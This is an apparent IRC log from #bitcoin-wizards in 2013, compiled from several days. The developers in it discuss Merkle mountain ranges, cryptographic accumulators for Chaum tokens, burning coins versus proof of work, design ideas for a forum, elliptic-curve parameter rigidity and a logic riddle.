20:04 < warren> MMR?
20:05 < gmaxwell> merkelized mountain range it's a kind of authenticated binary tree that has ~O(1) append. Its a petertodd neologism.
20:06 < gmaxwell> https://github.com/opentimestamps/opentimestamps-server/blob/master/doc/merkle-mountain-range.md
20:09 < gmaxwell> warren: petertodd figured out how to make a mostly storageless bitcoin. But there is a trade-off: wallets have to actively monitor the network to process updates to their own utxo proofs or they will lose the ability to spend their coins.
20:10 < warren> that's a bit of a tradeoff =)
20:10 < gmaxwell> But full nodes and miners need basically no storage. (just ~log() hashes with respect to the size of the transaction history, and maybe block headers)
20:11 < gmaxwell> Wallets need storage ~log(total history size) * number of utxos they own.
20:12 < gmaxwell> Transactions must carry utxo update proofs, which are ~log(total history size) * UTXO spent (maybe somewhat smaller if the utxo are near each other in history) in size.
20:13 < maaku> gmaxwell: is this the updatable proofs that we had discussed earlier, if we remove PATRICIA level-compression
20:13 < maaku> ?
20:13 < gmaxwell> maaku: this is a simpler idea that is more general.
20:14 < gmaxwell> warren: if you had a cold storage wallet, for example.. to spend the coins you'd need to get current proofs for it... if you were not tracking them yourself, perhaps you could go find a kind node who has tracked all of them (requiring storage similar to bitcoin full node)... perhaps they'd sell you this data if you show then that your spend would pay them a fee.
20:14 < gmaxwell> maaku: Here is how I'd express the idea. Forget the UTXO tree stuff.
20:14 < warren> gmaxwell: we talked about this as a way to spend expired coins in the future after litecoin implements expiration
20:15 < maaku> hrm.. i'll study it. lack of a storageless rebalance seems like a big tradeoff :\
20:15 < gmaxwell> maaku: imagine we have just a regular blockchain, and we append new txouts to it as they are created. We compute a binary tree over this whole thing... using a tree update scheme that has ~O(1) append. (thats the mountain range link above)
20:16 < gmaxwell> When someone wants to spend a coin, they give you a proof that shows you the coin is in the tree. Which is also the same data you need to replace that coin with a "deleted coin" entry and update the root. (by the same reason we can compose non-compressed proofs)
20:17 < gmaxwell> so miners and full nodes just need to store the leading edge of this tree (log2(history)) hashes. and any transactions they recieve will have enough data to let them mark the inputs elsewhere in the tree as spent.
20:18 < maaku> ok, so it's a perpetually growing tree, although you can safely prune branches that are fully spent
20:18 < maaku> what is the advantage over a proof-updatable index?
20:19 < gmaxwell> Right. and it grows with log() so.... thats no so bad. Also, proofs for spending recent coins would be smaller. So the proofs for old coins grow.. but recent coins would stay small.
17:19 <@sipa> #bitcoin-wizards: smoking cryptographic hasj since 2013
17:19 <@amiller> you can smoke trees and you can smoke hash, but only the bitcoin-wizards smoke hash trees
17:20 * petertodd slow claps
17:20 * amiller passes out
17:20 <@sipa> oh, it's hashish in english; even better
17:20 < weex> oh it's THAT kind of party :)
17:20 <@sipa> amiller: haha
17:25 <@petertodd> Say, everyone heard of that paper due to be released in another month or something on implementing chaum tokens within Bitcoin?
17:25 <@petertodd> Anyone managed a sneak peak of it?
17:25 <@amiller> yeah
17:26 <@amiller> those students came and hung out with me for a while
17:26 <@petertodd> Nice? How does it work?
17:26 <@amiller> my current advisor/host pays their advisor
17:26 <@amiller> well it's got an impractical thing about it
17:26 <@petertodd> ?
17:26 <@amiller> first of all it's a global pool of tokens
17:26 <@amiller> one for the whole chain
17:26 <@amiller> second, in order to avoid double spends, they maintain an already-spent lit
17:26 <@amiller> lsit
17:26 <@amiller> list
17:27 <@amiller> which has to be checked in order to validate each spend.
17:27 <@amiller> that's worst-case O(N) which is horrible
17:27 <@amiller> it would only be O(log N) if they just maintained a balanced merkle tree but that still sucks
17:27 <@petertodd> Yeah, but doable
17:28 <@petertodd> So, there basically the already spend list becomes a consensus thing?
17:28 <@amiller> yes
17:28 <@petertodd> Do they just make the list so big you can pick a coin at random from it?
17:29 <@petertodd> (I mean, the set of !in the list)
17:29 <@amiller> no it's basically like
17:29 <@amiller> uh well basically you can't see the list of things included in the accumulator
17:30 <@amiller> i'm not sure how to answer your question
17:30 <@petertodd> Ok, so there is a global accumulator though, and each transaction increments or decrements it?
17:30 <@petertodd> (this is sounded just like fidelity-bonded ledgers...)
17:31 <@amiller> so basically you deposit an ordinary coin into the accumulator
17:32 <@amiller> a blinded token gets added to the accumulator
17:32 <@petertodd> ok
17:32 <@amiller> now when you want to withdraw a coin, you provide an unblinded token and a proof that your unblinded token corresponds to _one of_ the blinded tokens stored in the accumulator
17:33 <@petertodd> Ah, and there is some crypto magic that lets you prove that?
17:33 <@amiller> yeah
17:33 <@petertodd> (wizardry beyond my beginner wizard level)
17:33 <@amiller> apparently they spent christmas break poring through the complete giant catalog of cryptographic accumulators looking for one
17:33 <@petertodd> I assume then that accumulator can grow to be quite large?
17:33 <@amiller> well the accumulator is just some wacky number field thing
17:34 <@amiller> so basically i don't think it grows at all
17:34 <@amiller> it's almost like folding hashes into hashes
17:34 <@petertodd> Hmm... weird, dunno how that would work.
17:34 <@petertodd> I mean, there is the clever trick of "what's the merkle hash of a 2^256 long string of zeros" but...
17:35 <@amiller> http://www.cs.jhu.edu/~goodrich/cgc/pubs/accum.pdf
17:35 <@amiller> this is one of the popular kinds of accumulators based on RSA numbers
17:41 <@petertodd> Hmm... I'm gonna have to read that very carefully...
17:41 <@BlueMatt> gmaxwell: ahh on the spv side, yes ok that is something Id like to do eventually
17:42 <@petertodd> Now, I assume if you have n items in this accumulator, the size of the underlying data must scale by n somehow right?
17:42 <@petertodd> Or do you accept some small possibility of collissions or something?
17:42 <@BlueMatt> gmaxwell: hmm...actually maybe Ill do that as my next project
17:42 <@petertodd> Oh wait, I found it, page 10: O(n) space
17:44 <@petertodd> Because basically, for fidelity-bonded banks/ledgers, I need to be able to have some audit log thing, and have a similar accumulator so any outsider can see that every token purchase and redemption was valid. Although ideally, proofs that they were invalid would be short too...
17:50 <@amiller> there's gotta be better accumulators than that
17:50 <@amiller> i don't see the point of an O(n) size one
17:51 <@petertodd> Well, presumably that can give you a 100% guarantee against collisions. IE there will never exist S1 and S2 such that A(S1) == A(S2)
17:51 <@amiller> something like that
17:52 <@gmaxwell> BlueMatt: there are two other kinds of proofs I forgot to mention (1) double spend alerts, which might fit into the same framework, and (2) proof that a block spends a txn which wasn't it the prior block's utxo set (which we can't do currently)
17:53 <@petertodd> Ok, lets see if I get the concept right: So one possible accumulator would be to construct a merkle tree of a bit field with one bit for every integer between 0 and 2^256. You can prove you added an integer to that set by showing the leaves for an operation updating the appropriate bit, and you can remove an integer with another set of leaves. (equally
any deterministic binary tree works)
17:54 <@petertodd> You can't however take two such accumulators, and merge them in this example, without knowing all the bits involved.
17:54 <@petertodd> (well, without knowing S1 and S2)
17:55 <@petertodd> Equally, assign prime numbers in order, and just multiply your primes together, and then the resulting number is an accumulator.
17:55 <@petertodd> That one you can get the union of S1 and S2 easily, but large n's are a problem.
17:58 < HM> the computation under "a simple scheme" sounds expensive
17:58 <@petertodd> HM: I'm sure people have done better than that :P
17:58 < HM> for the dictionary
17:59 < HM> updates and deletions sound cheap
18:00 * HM continues reading
18:02 <@gmaxwell> BlueMatt: by 'doublespend alerts' I mean the mempool kind. ... in thinking about it it was a little annoying to me that they'd untimately enable miners to mine the more profitable of the two. but I guess attackers could give them directly to miners anyways.
18:10 < HM> I'm guessing the interval trick really doesn't work for transactions
18:10 < HM> to find out if Tx is in S
18:11 <@BlueMatt> gmaxwell: yes, essentially it would be nice to provide alerts which can prove a block is invalid in any of the possible ways a block can be invalid that spv nodes cant identify, though many of those arent possible
18:11 <@BlueMatt> re: doublespend alerts...meh Im still not a big fan of putting those in the standard p2p protocol
18:15 <@gmaxwell> BlueMatt: fine with me. I thought you liked them for some reason. I was only really noting that perhaps they'd fit into the same kind of framework, but perhaps not
they have different DOS exposure since the rest are tied to blocks.
18:16 <@BlueMatt> gmaxwell: no, Ive always been against them (since like...years ago)
19:08 <@petertodd> Alright, I read over the accumulators stuff, and it seems to me that it isn't magic and doesn't help fidelity-bonded foo's.
19:10 <@petertodd> Basically, the key thing is you can use them to add a blinded token to an accumulator, and later prove that the token was in there, but only if every step gets witnessed.
19:10 <@amiller> there's lattice-based accumulators that are even fancier
19:10 <@amiller> i really don't understand this stuff very well either
19:10 <@petertodd> Oh yeah? Hmm... maybe more reading...
19:11 <@petertodd> I didn't see anything about an "authenticated add", but maybe I'm missing something.
19:11 <@petertodd> (specifically, a *signed* blinded token)
19:12 <@petertodd> Ultimately the problem to solve is how to stop the ledger from faking withdrawals.
19:13 <@amiller> i mean you're right that everything has to be witnessed
19:14 <@amiller> like only a valid transaction can update the accumulator
19:14 <@petertodd> Yeah, and you want token-to-token transactions.
19:14 <@petertodd> Although I kinda punt there and assume Tor is available and logs will be made public and randomly audited...
19:15 <@amiller> yeah no token to token transactions... well i mean i guess that wouldn't hurt anything
19:15 <@petertodd> Well, it kills my dream of off-chain tx's. :P But it'd make for a great coin mixer.
19:24 <@gmaxwell> petertodd: whats the problem for you right now? you make a public log available ... the bank can't inflate without it showing up in the log.
19:26 <@petertodd> gmaxwell: Well, the log will have a sum of all chaum deposits made right? Each token redemption will decrement that counter, but there is nothing stopping the bank from creating tokens that didn't correspond with withdrawls, however they're fraud is limited to the amount deposited because of the running sum.
19:27 <@gmaxwell> ah, because the bank can sign in hiding and people can't tell if a newly presented unblinded signature was a previously existing blinded one or just something the bank pulled out of its rear end.
19:27 <@petertodd> ...and actually, I skipped a step, because really any blinded token whose inner part isn't made public, can be fraudulently counterfitted, so clients should unblind their tokens and "register" them.
19:28 <@petertodd> If no clients do that, the bank can create an unlimited number, on the other hand doing so does create information leak possibilities.
19:28 <@petertodd> Exactly
19:29 <@petertodd> Now with an accumulator, I guess you could prove that the token was part of the accumulated value, and thus prove it really dis correspond to a deposit, or even token-to-token exchange.
19:30 <@petertodd> *did
19:30 <@gmaxwell> well, you could
at the cost of some privacy, roll the keys, so that you'd know that the outstanding balance had to all be expressed in some window.
19:31 <@petertodd> Yeah, if not for the chaum part it'd be simple.
19:31 <@petertodd> You can have clients come back and do a unblinded register step for sure.
19:31 <@petertodd> Just hard to get good parameters to maintain privacy.
15:44 < adam3us> petertodd: its a cogeneration system: bitcoins & heat
15:44 < petertodd> yup!
15:47 < adam3us> luke-jr: "difficulty adjusted between the different POW algos by trying to make them equally rare" i was thinking you could have competing mining algos with independent dynamic difficulty targetting a chosen proportion of reward
15:47 < jgarzik> bitcoin water heaters. the next million dollar idea.
15:50 < adam3us> luke-jr: eg allow scrypt(iter=1) or sha256^2 to coexist on bitcoin
15:50 < adam3us> start with say 5% scrypt, 95% sha256
15:50 < adam3us> have independent difficulty that ajdusts to keep the ratio
15:50 < adam3us> in that way runawy asic easyness is automatically adjusted for
15:52 < adam3us> luke-jr: eg if one day someone succeds in making an scrypt ASIC that is 1000 easier, th difficulty of scrypt would be increased to keep at the target % of reward for that mining function
15:53 < adam3us> luke-jr: so i think you could repeat that eg have 10 mining functions, with 10% each reward, all dynamically adjusted, then the ASIC people will not have as much fun because they will be competing more against themselves
16:06 < gmaxwell> adam3us: the scrypt pow stuff is a pretty poor idea. E.g. it's a performance problem with ltc chain sync
16:10 < gmaxwell> oh lots of backscroll to read.
16:22 < adam3us> gmaxwell: i agree scrypt verification cost sucks by orders of magnitude vs hashcash
16:23 < gmaxwell> 10:46 < amiller> btw there's a fully open source alternative to pinocchio/tinyram out https://github.com/srinathtv/pantry/
16:24 < gmaxwell> amiller: have you tried it?
16:24 < gmaxwell> wtf is with the dependencies?! KyotoCabinet, leveldb, fcgi?
16:24 < gmaxwell> also why PBC if they're using the seperate BN ate-paring library?
16:25 < sipa> PBC?
16:25 < sipa> ah
16:25 < sipa> pairing based crypto
16:27 < adam3us> gmaxwell: you might be able to design a better mem hard hash than scrypt they didnt care much about verif speed, and its memory cpu tradeable as that was a non-requirement - eg using something like the "An (Almost) Constant-Effort Solution-Verification Proof-of-Work Protocol based on Merkle Trees" http://hashcash.org/papers/merkle-proof.pdf by fabien coelho
to verify in c*log2(n) instead of n for small c where n is the memory param
16:27 < gmaxwell> sipa: yea, there are basically two famlies of ways people are doing the backends for the general ZKP stuff. One is based on a pairing crypto knoweldge of exponent assumption and results in very small proofs (like .. 4 field elements which for the BN256 stuff are like 256 bits each), the other is a construction using fiat-shamir (hashtree based proof)
16:34 < odotan> hi
16:34 < gmaxwell> odotan: Hi.
16:37 < adam3us> gmaxwell: odotan and i were discussing timestamping, namespaces and relation to mining with the objective of reducing mining centralization or removing fees somehow (brainstorming) i suggeste we move it here as there was some discussion above... one sec pasting history for odotan
16:39 < warren> perhaps I shouldn't be amazed by the nut cases on the forum...
16:40 < gmaxwell> warren: hm?
17:03 < midnightmagic> oo I like reading stuff from nutcases. link?
17:03 < sipa> midnightmagic: bitcointalk.org :p
17:05 < midnightmagic> lol
17:07 < warren> midnightmagic: also http://www.theblaze.com/
17:36 < Luke-Jr> [21:03:24] <midnightmagic> oo I like reading stuff from nutcases. link? <-- PM "one" <.<
17:44 < midnightmagic> ah HAH. It was Bertrand Russell! I found him. http://www.youtube.com/watch?v=Il7Kxw9TDBc what an amazing accent.
17:47 < midnightmagic> er.. woops, wrong channel. :( sorry about that
19:38 < amiller> midnightmagic, i remember when you were asking about that from a week ago!
19:46 < midnightmagic> amiller: :)
19:49 < midnightmagic> amiller: I've been looking for it for perhaps 6 months or so. I.. uh.. have trouble letting these sorts of things go.
--- Log closed Sat Oct 26 00:00:45 2013
--- Log opened Sat Oct 26 00:00:45 2013
03:40 < warren> gmaxwell: I'm writing specifications for a next generation forum for theymos. I figure it would need some kind of cryptographic timestamp with versioning of posts to serve as prior art in defeating patents?
03:40 < warren> think of crazy ideas you think forum TNG should have
03:41 < gmaxwell> warren: talk to nanotube and midnightmagic, they're likely to have more thoughts than I do.
03:41 < warren> nanotube: midnightmagic ^
03:41 < gmaxwell> I do think whatever it does it should enable cryptographic timestamping of posts, with some kind of efficient extraction so you can pull out a single timestamped post and have people verify it.
03:41 < gmaxwell> but thats not all that hard.
03:42 < warren> do you want the ability to permanently delte previous versions of posts?
03:42 < warren> that's a hard part
03:42 < warren> gmaxwell: that might be a good use to bring chronobit into the mainstream
03:46 < gmaxwell> Its fine if the server deletes them .. you should just be able to click a button on a post and get a timestamped and forum signed copy of your post (once one is available for it) which can always be verified, even if the post is deleted.
03:46 < gmaxwell> also means that if someone else saves your post before you delete it, they can prove to other people that it was previously there.
03:46 < gmaxwell> which I think is desirable.
03:46 < warren> yeah
03:46 < warren> very
03:47 < warren> accountability
03:48 < gmaxwell> well, I think allowing editing and stuff is fine, and I'm okay with old versions being throughly deleted... if you manage an edit before no one else sees it.. no harm no foul.
03:49 < warren> for most things yes
03:50 < warren> but if you're talking about priority dates
03:50 < gmaxwell> I think it might be interesting if the non-public forums were encrypted, with the keys stored encrypted with the accounts that have access to them, likewise for PMs. Basically the goal there would be to reduce the incentive to compromise the server in order to obtain the little non-public data it has.
03:50 < warren> if someone edited a post to add a tiny correction, they lost proof of the earlier date
03:50 < gmaxwell> warren: nah, they just save the earlier proof.
03:50 < warren> gmaxwell: not everyone anticipates that their earlier proof will be important years laer
03:50 < warren> later
03:51 < gmaxwell> could be optional to delete old versions of messages. Dunno. Or maybe make them only accessible to the user who used them.
03:51 < warren> gmaxwell: interesting, client-side encryption of PM's? You backup your own key. if you lose it, iyou lost only your PM's.
03:51 < gmaxwell> Access to old versions of messages could make some moderation problems worse.
03:52 < gmaxwell> warren: you make your PM key encrypted with your login password, so it gets backed up on the site... but a hacker who compromises your site now has to bruteforce your login password to get your PMs.
03:52 < warren> could that increase the legal hazard to the forum? forum has no ability to police using it as a medium for illicit activity
03:53 < gmaxwell> It has no legal responsibility to in the US, see S230. (in fact, forum spying on PMs is probably unlawful in the US) Besides, it could if it's made aware of it.
03:53 < gmaxwell> Though on that subject, retaining old versions accessible to all users has a moderation problem.
03:53 < gmaxwell> E.g. I fill a post with childporn links, then edit them out and replace it with puppy pictures.
03:54 < gmaxwell> Then I quietly tell all the other childporny people where to go find the hidden posts.
03:54 < gmaxwell> so if you do provide access to old versions it should probably be exclusively to the user or user + global admins.
03:55 < Luke-Jr> gmaxwell: meh, no different than a wiki
03:55 < gmaxwell> Luke-Jr: wiki provides good interfaces to view changes and find things in old versions.
03:55 < gmaxwell> (I describe that behavior because people were doing stuff like that in enwp at one point)
03:56 < gmaxwell> In any case, encrypted PMs wouldn't be there to have military grade security or anything, it's just a casual thing that reduces brittleness to hacking. I'd suggest that the forum not even tell users that their PMs are encrypted. If users want good security they should be doing GPG inside their PMs.
03:57 < gmaxwell> Another thing that should be supported: two-factor login via bitcoin signmessage. Hopefully devices like trezor will support that in a latter firmware. So then you could use your hardware wallet to auth you to the forum.. no more account hacks ever.
03:57 < warren> huh
03:58 < warren> sign message?
03:58 < Luke-Jr> gmaxwell: unless you sign every action, you can still get account hacks
03:58 < Luke-Jr> warren:
03:58 < gmaxwell> Luke-Jr: hm? site is SSL.
03:58 < Luke-Jr> you maintain an altcoin and you don't know signmessage?
03:58 < Luke-Jr> gmaxwell: if the server is itself compromised..
03:58 < warren> Luke-Jr: oh, I missed that he said signmessage
03:59 < warren> Luke-Jr: that's impossible! =)
03:59 < gmaxwell> Luke-Jr: yea, sorry. I wasn't meaning also no server hacks I just meant not from user password stupidity.
04:00 < warren> the way I have his server setup right now it would be difficult for even remote php eval() to write anything to disk
04:00 < warren> forum TNG I'm going to suggest get rid of php entirely, either rails or node
04:00 < Luke-Jr> ew
04:00 < Luke-Jr> I'd do php before rails at least
04:00 < warren> ewwww, php
04:00 < gmaxwell> warren: a kind of dumb but easy feature: support some message parsing so that if you post a gpg signed message, the server will verify the signature, and if it can it strips out the gpg noise and puts in a Signed message icon. clicking it gets you the plaintext of the message so you can verify it yourself it you want.
04:00 < warren> php needs to die
04:01 < warren> gmaxwell: ooh, that sounds great.
23:23 < petertodd> maaku: you have full validation if there is 100% coverage of the data by validators; you don't need every individual validator to validate the whole data set fully
23:23 < petertodd> maaku: but you do need to make it possible for any one of those partial validators to prove the fraud they found cheaply
23:23 < amiller> it's not necessary for every full validator to be capable of validating anyone's transaction without their help
23:23 < amiller> full validators don't need to store backup copies of your private key for you, nor do they need to remember all the bits needed to prove your transaction is valid
23:24 < amiller> 10 different people can each submit their indivudal transaction validity proofs and anyone can validate the block consisting of those
23:24 < petertodd> amiller: thing is there's no such thing as a proof that something is valid, only a proof that something is invalid (modulo SCIP)
23:24 < petertodd> *compact proof
23:28 < amiller> what you should have to do is bribe miners not to burn work
23:28 < petertodd> amiller: huh?
23:28 < amiller> it hurts everyone, in a sense, when miners burn
23:28 < amiller> you have a weak/social/long term incentive to pay them *not* to mine
23:28 < petertodd> You can't bribe someone whos goal is to destroy the currency for whatever reason
23:29 < petertodd> Why is there an incentive forthem not to mine?
23:29 < amiller> there *is* an incentive for them to mine, but if you have coins, and you have stake, then you can pay them not to
23:29 < petertodd> How can I do that?
23:30 < amiller> by paying them to fight amongst themselves perhaps
23:30 < amiller> paying for forks
23:31 < amiller> 'defunding' the miners
23:32 < amiller> paying miners not to mine is the pure public good
23:32 < petertodd> how can you pay them to fight? at any given time modulo network latencies the miners can always mine on the best chain, and best has a clear consensus meaning
23:32 < amiller> because it didn't affect them, they get the monetary reward they would have had
23:33 < petertodd> remember when you burn coins in liu of work, *your* a 51% attacker on the chain you are re-orging
23:33 < petertodd> there's no priviledged position here
23:34 < amiller> it won't happen for very long anyway, the point is *you* lose the money you burned, fewer mining occured, but the miners got the same income they would have anyway
23:34 < petertodd> and it's all irrelevant, because as always part of being a profitable miner is mining on the chain that you think has the most support, and that means the next block that will be mined
23:35 < amiller> that may not be the only way to pay miners
23:36 < amiller> er, to pay miners not to mine
23:36 < amiller> the point is, there's your cheap proof of stake, i'm making an observation about what it can mean to burn a coin
23:37 < amiller> just sending it out isn't necessarily burning it because if it's useful to do so, everyone else might to it too, and then it had no effect anyway
23:39 < petertodd> burning coins in liu of work, as I'm advocating above, isn't proof-of-stake, it's transferrable-proof-of-work
23:41 < amiller> maybe there should be like a difficulty measure
23:41 < amiller> in terms of burned coins and work
23:41 < amiller> such that you can arbitrage
23:41 < amiller> if the cost per burned coin in proof of stake is different than what you could pay for mining power on the spot
23:41 < petertodd> I'm really not seeing why this should be any more complex than "If this chain wins, I'm happy to have x less BTC"
23:43 < amiller> look at it this way, if that's true, what's the most effective way to spend x btc to get that chain won?
23:43 < amiller> if you can do it by renting mining power then you can spend it on mining power
23:43 < amiller> if you can do it by paying a particular person somehow then you could do that
23:43 < amiller> if you can accomplish it the best by deleting it
23:43 < amiller> then you could do that, but it seems less plausible that you can't use it to your influence in some better way
23:44 < petertodd> sigh... the issue is we have effective long term ways - buy hashing power - but we don't have effective short-term ways
23:44 < gmaxwell> sweet. I just out cryptoed DJB.
23:45 < petertodd> the challenge is to come up with a way that's effective in the short-term, yet also works in the context of limited bandwidth jam-free networks
23:45 < petertodd> gmaxwell: ?
23:45 < gmaxwell> (well I suppose I should save the bragging for when he response conceding defeat)
23:45 < amiller> petertodd, how is paying for rented hash power not an effective way
23:46 < petertodd> amiller: because it's impossible to increase the supply without waiting!
23:46 < amiller> you can just take it from someone else
23:46 < amiller> you're assumign the attacker eclipses the world economy i think
23:46 < petertodd> amiller: no you can't! there is a limited amount in this world
23:46 < amiller> so you're talking about an attacker that has moved markets
23:47 < petertodd> amiller: markets aren't effient enough to say "hey, I want a few petahash in an hour"
23:47 < petertodd> reality just doesn't work that way
23:47 < petertodd> the whole point of this is to paper over the fact that the real world is ugly and slow
23:48 < gmaxwell> petertodd: DJB created http://safecurves.cr.yp.to/ see the rigidity page. I'm trying to convince him that the choice of generator must be documented too.
23:48 < petertodd> gmaxwell: ha, good job
23:48 < amiller> petertodd, then smash pots or something
23:49 < gmaxwell> he was trying to insist that there is nothing interesting that you can do with generator control in any cryptographic protocol. :P
23:49 < amiller> the point is if you just burn your money without burning something objective it doesn't have the same effect
23:49 < amiller> i'm trying to figure out how to articulate why that matters because what i think you're doing is ignoring the distinction or have already decided it doesn't matter
23:50 < gmaxwell> petertodd: so I sent him http://0bin.net/paste/Aqayl-V7cyFWqv5E#ju+Q69udt8UIOVxaMYV9AFSJLkr/V2FhT2Lke1S0wQU=
23:51 < amiller> tjat
23:51 < amiller> that's so cool gmaxwell
23:52 < petertodd> amiller: start from the end-goal: we want to come to a consensus that reflects the desires of the economic majority, and work backwards
23:52 < amiller> i don't think that makes any sense
23:52 < gmaxwell> amiller: yea, well I don't think it's so cool. It means that the curve in bitcoin could be somewhat backdoored, because we can't explain G.
23:53 < petertodd> gmaxwell: good job
23:53 < gmaxwell> We can explain all other parameters, but not G. I'm trying to save DJB's future curves from the same weakness.
23:54 < petertodd> amiller: again: so someone launches a 51% attack, stopping all transactions and/or rewriting some part of the blockchain, how do we divise a system where the response can be made fast enough that people don't just give up on the system before actual hashing power can be obtained?
23:54 < petertodd> amiller: hardware has leadtimes of months - there is *nothing* we can do about that, especially since we're using proof-of-work systems that are ASIC friendly
23:55 < petertodd> amiller: even if the proof-of-work system was 100% best mined by fully commodity hardware, it'd still take days to weeks to obtain it in a mad rush - there just isn't all that much computing power available for rent in a decentralized way
23:55 < petertodd> (the attacker might have already rented it all!)
23:55 < amiller> then outbid the attacker
23:55 < amiller> the attacker has limited funds
23:56 < amiller> or else the attacker has already one
23:56 < amiller> won*
23:56 < petertodd> amiller: "outbid" how? the real world doesn't always let you outbid
23:56 < petertodd> amiller: No amount of money is going to get Amazon EC2 to kick off their existing customers you know.
23:57 < amiller> i don't see why you are assuming it's sufficient to choose the chain based on something that shares some-but-not-all of the properties of proof of work
23:57 < amiller> how about in a pinch you just have gavin sign the blocks?
23:57 < petertodd> amiller: And I mean that: if you had sufficient money to make it worth their while, it'd take too long for them to verify that you were for real.
23:57 < amiller> i'm saying that burning coins doesn't have the same effect as burning power
23:57 < petertodd> amiller: heck, agreeing to just have gavin sign the blocks would probably take long enough that you'd be better off buying hashing power...
23:58 < amiller> agree in advance?
23:58 < amiller> and override it if he fires without cause
23:58 < petertodd> amiller: Then you have a system that's vulnerable to gavin...
23:58 < amiller> so what is the system vulnerable to
23:58 < amiller> that burns coins
23:58 < amiller> instead of work?
23:58 < amiller> you are implicitly assuming that there's no difference or that the difference isn't important
23:58 < amiller> i'm trying to understand what that difference is
23:58 < petertodd> amiller: Even worse, Gavin is vulnerable to the system - legally he'll be gone after for having the ability to control the system.
23:59 < amiller> i agree with both your explanation of the problem to be solved, and your reason why the gavin approach is vulnerable to something undesirable, so now lets try to get to the bottom of what vulnerability the burning coins might have over proof of work
--- Log closed Fri Oct 18 00:00:04 2013
--- Log opened Fri Oct 18 00:00:04 2013
--- Day changed Fri Oct 18 2013
00:00 < petertodd> See, the more interesting thing, is if you have a system where you can burn coins, how does that affect things? For one it'll make more clear that confirmations matter.
00:00 < amiller> because maybe you can make an actual destroying-value thing that's more responsive
00:00 < amiller> the larger you are the less impact burning coins has on you
07:33 < gmaxwell> right, now if each samples the same half, thats not so useful.
07:33 < HM2> 2^10 = 1024
07:33 < HM2> so you divide the wine in to 1024 samples?
07:33 < HM2> :\
07:34 < HM2> hmm
07:35 < HM2> so you give each prisoner a distinct 5-mixture from 100 bottle sets
07:35 < HM2> so they sample 500 bottles total
07:36 < HM2> that gives them a 50% chance of dying
07:36 < HM2> nope, that doesn't work
07:37 < HM2> how does a probabilistic solution help anyway?
07:37 < HM2> "My lord! there is only a 0.1% chance you will die if you drink this lovely 1758. It was a good year!"
07:38 < gmaxwell> ah, I wasn't suggesting that it was a probablistic solution, only that a maximum information one would give the prisoners 50% odds of dying (apriori)
07:38 < gmaxwell> because anything other than 50% wouldn't make good use of them.
07:38 < sipa> each prisoner is essentially one bit of information
07:38 < sipa> you want to maximize the entropy in each
07:43 < HM2> you only need to determine which of 1000 bottles is poisoned. so that's < 10 bits
07:43 < HM2> so i agree it should be feasible, but i've clouded my thinking now with mixing overlapping sets of wine
07:45 < HM2> you can easily divide the wine in to 10 x 100 bottle sets and mix 5 different sets together for each prisoner
07:46 < HM2> 5 will still be dead after 30 days, as in my solution, but i don't think you will be 100% certain of the result?
07:48 < HM2> but i totally give up for now
07:49 < gmaxwell> HM2: yea, if it doesn't just come to you later we'll tell you. :) (you've put some much time into it, it would be a let down to not let you solve it though)
07:49 < gmaxwell> you've probably worked yourself into a rut, it'll probably be obvious as soon as you stop thinking about it.
07:49 < HM2> i maintain i solved it and poison works like countdown ;P
07:51 < HM2> wait a minute
07:52 < HM2> isn't this just a parity problem
07:53 < HM2> hmm
07:54 < HM2> 0 to 1024 in binary
07:54 < HM2> 10 prisoners
07:54 < HM2> each get a coefficient of the radix
07:54 < HM2> so 1 prisoner drinks all the odd bottles
07:55 < HM2> another 1 in 4
07:55 < HM2> another 1 in 8
07:55 < HM2> etc
07:55 < HM2> if they die then you know a bit of the poison bottle number
07:57 < HM2> sipa, and it's less than 5 on average :P
07:57 < HM2> because there are less than 1024 bottles
08:05 < gmaxwell> HM2: tada.
08:09 * HM2 grumbles
08:20 < HM2> what sucks about that is my solution isn't even better for < 10 prisoners
08:34 < HM2> the monk riddle was harder
08:45 < gmaxwell> yea, well I mostly mentioned the evil kings riddle in order to present the version of it where exactly two bottles are poisoned.
08:45 < gmaxwell> which is harder than the monks riddle.
09:43 < HM2> gmaxwell, interesting
17:04 < Luke-Jr> gmaxwell: that guy is obviously trolling, but I don't think he's completely wrong about pull request purgatory. I've seen useless/silly things get merged while truly useful pulls sit ignored.
17:05 < gmaxwell> well I don't think he's being intentionally trolling. if he got confused about how things works thats a problem in and of itself.
17:06 < gmaxwell> Considering that he claimed bitcoin was written in typescript, I suspect he's not trying very hard... none the less, unfortunate that he didn't feel welcome. (and weird that he though a ~dead project welcomed him...)
17:06 < Luke-Jr> gmaxwell: comparing it with namecoin? I don't see any "defecting from bitcoin" in #namecoin
17:06 < gmaxwell> and yea, the pull process is bumpy. usless things are easier to merge: they're usually more obviously harmless. :)
18:51 < midnightmagic> petertodd: thanks for dust-b-gone btw
18:51 < midnightmagic> very much more convenient than waiting until my miners mine a block..
18:57 < petertodd> midnightmagic: cool!
18:57 < petertodd> Luke-Jr: I was having some trouble getting coin-join txs mined on eligius - what are the current rules for a tx that has a single OP_RETURN, 0-value, output?
18:59 < petertodd> Luke-Jr: s/coin-join/dust-be-gone/
19:02 < Luke-Jr> petertodd: data carriers are currently blocked entirely by Eligius, IIRC
19:03 < petertodd> Luke-Jr: right, but this scriptPubKey is just OP_RETURN, with no data
19:03 < Luke-Jr> hmm
19:03 * Luke-Jr pulls out the code
19:04 < petertodd> Luke-Jr: I picked that because I wanted the dust-b-gone utility to be absolutely clear that no-one other than miners could get any financial benefit from the coins destroyed
19:06 < Luke-Jr> http://codepad.org/L2J8i1HV
19:06 < Luke-Jr> I don't actually see anything that should change behaviour from mainline that would affect this
19:08 < petertodd> does the push-tx thing on eligius.st submit directly to the node that would be mining the transactions?
19:08 < Luke-Jr> yes
19:09 < petertodd> huh, weird
19:09 < petertodd> give me a sec; I'll make up a tx right now
19:13 < Luke-Jr> give me advance notice of the push; someones are IBDing from Eligius atm
19:14 < petertodd> 'k
19:16 < petertodd> well, it's getting rejected right now, so maybe a previous attempt is still in your mempool, but anyway here is what I tried to pushtx: http://0bin.net/paste/yuxubWzRRKtvj1QX#BFoxJ/sAq5pdwrkufd9BBSRmkYC+BPGKVWbDRHZlafY=
19:17 < petertodd> see how much easier replace-by-fee would make this? :P
19:19 < petertodd> oh, BTW, any objection to be making the TXO discussion we had the other day public? I mean, -wizards is semi-private simply by how it's a bit obscure, and there aren't public logs anywhere (AFAIK)
19:19 < Luke-Jr> which discussion was this?
19:20 < petertodd> two days ago, oct 17th
19:20 < Luke-Jr> I don't see any I participated in
19:21 < petertodd> yeah, I don't think you did
19:21 < Luke-Jr> well, then you don't need *my* permission :P
19:21 < Luke-Jr> just permission from those who spoke in it
